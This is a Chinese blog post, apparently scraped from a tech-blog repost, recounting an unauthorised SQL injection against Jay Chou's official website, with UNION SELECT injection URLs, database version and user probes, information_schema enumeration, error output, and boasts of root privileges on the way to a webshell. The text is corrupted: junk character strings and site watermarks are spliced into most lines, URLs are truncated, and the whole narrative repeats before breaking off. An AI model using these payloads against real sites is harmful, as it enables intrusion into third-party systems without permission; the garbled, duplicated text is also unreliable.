检测周杰伦官方网站
文章作者:风流倜傥IXPUB技术博客!FcoG$QL2W1R
某日在cn群里聊天,有朋友丢出一个jay官方网站的注入点,闲着无聊就测试了下。没想到最后轻松的得到了系统权限。在取得webshell过程中遇到点困难,也学到了一点东西。IXPUB技术博客s.YjT`a2V
看注射点,老规矩,先提交个单引号,返回错误提示是IXPUB技术博客L$}7Y#\Bku
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1IXPUB技术博客x'MMQ~"I)@
这个提示是很有玄机的,可以看到单引号没有转意,也就是说安全模式没有打开,这为我们后文得到webshell提供了机会。
@N c3l?#m*E5j0 下面猜字段吧,体力活的说IXPUB技术博客WqMJ!M
http://www.jay2u.com/jaynews/ind ... 0union%20select%201,2,3,4
3n@)D*vM$x%f1T0很轻松的猜出是四个字段。然后还是按部就班的看用户和权限
NM8B!v`0http://www.jay2u.com/jaynews/ind ... 0union%20select%201,2,3,version()IXPUB技术博客!papm%JO;U sP
http://www.jay2u.com/jaynews/ind ... 0union%20select%201,2,3,user()IXPUB技术博客Yi8fB!o
Oh yeah!!是mysql5的root权限,看到这里我觉得服务器拿下应该问题不大了。IXPUB技术博客4J2z6W*`/g;s
和mssql、oracle、db2等数据库一样,mysql5提供了一个系统数据库:information_schema
i&L"e5Ul"q7^ s*u$V"i0在这个数据库里我们可以得到很多信息,包括当前用户权限、当前用户权限下可以访问的数据库、表、列名,因此在sql注射中,导致直接暴区数据库,表列名
U!e2EP,D Z#o0开始操作,提交IXPUB技术博客!K$w0zm#W}S3e
http://www.jay2u.com/jaynews/ind ... 0union%20select%201,TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME%20%20from%20information_schema.STATISTICS/*IXPUB技术博客Ij!H(_'lN#|
貌似没有出现想象中的效果
%{}OrO'`!|u4n0提示
(zZr F-_8L0Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'IXPUB技术博客,Dhn*A&wZE
看来是union 前后字符集不搭配,只好编码一下了,提交
某日在cn群里聊天,有朋友丢出一个jay官方网站的注入点,闲着无聊就测试了下。没想到最后轻松的得到了系统权限。在取得webshell过程中遇到点困难,也学到了一点东西。IXPUB技术博客s.YjT`a2V
看注射点,老规矩,先提交个单引号,返回错误提示是IXPUB技术博客L$}7Y#\Bku
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1IXPUB技术博客x'MMQ~"I)@
这个提示是很有玄机的,可以看到单引号没有转意,也就是说安全模式没有打开,这为我们后文得到webshell提供了机会。
@N c3l?#m*E5j0 下面猜字段吧,体力活的说IXPUB技术博客WqMJ!M
http://www.jay2u.com/jaynews/ind ... 0union%20select%201,2,3,4

3n@)D*vM$x%f1T0很轻松的猜出是四个字段。然后还是按部就班的看用户和权限
NM8B!v`0http://www.jay2u.com/jaynews/ind ... 0union%20select%201,2,3,version()IXPUB技术博客!papm%JO;U sP
http://www.jay2u.com/jaynews/ind ... 0union%20select%201,2,3,user()IXPUB技术博客Yi8fB!o
Oh yeah!!是mysql5的root权限,看到这里我觉得服务器拿下应该问题不大了。IXPUB技术博客4J2z6W*`/g;s
和mssql、oracle、db2等数据库一样,mysql5提供了一个系统数据库:information_schema
i&L"e5Ul"q7^ s*u$V"i0在这个数据库里我们可以得到很多信息,包括当前用户权限、当前用户权限下可以访问的数据库、表、列名,因此在sql注射中,导致直接暴区数据库,表列名
U!e2EP,D Z#o0开始操作,提交IXPUB技术博客!K$w0zm#W}S3e
http://www.jay2u.com/jaynews/ind ... 0union%20select%201,TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME%20%20from%20information_schema.STATISTICS/*IXPUB技术博客Ij!H(_'lN#|
貌似没有出现想象中的效果
%{}OrO'`!|u4n0提示
(zZr F-_8L0Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'IXPUB技术博客,Dhn*A&wZE
看来是union 前后字符集不搭配,只好编码一下了,提交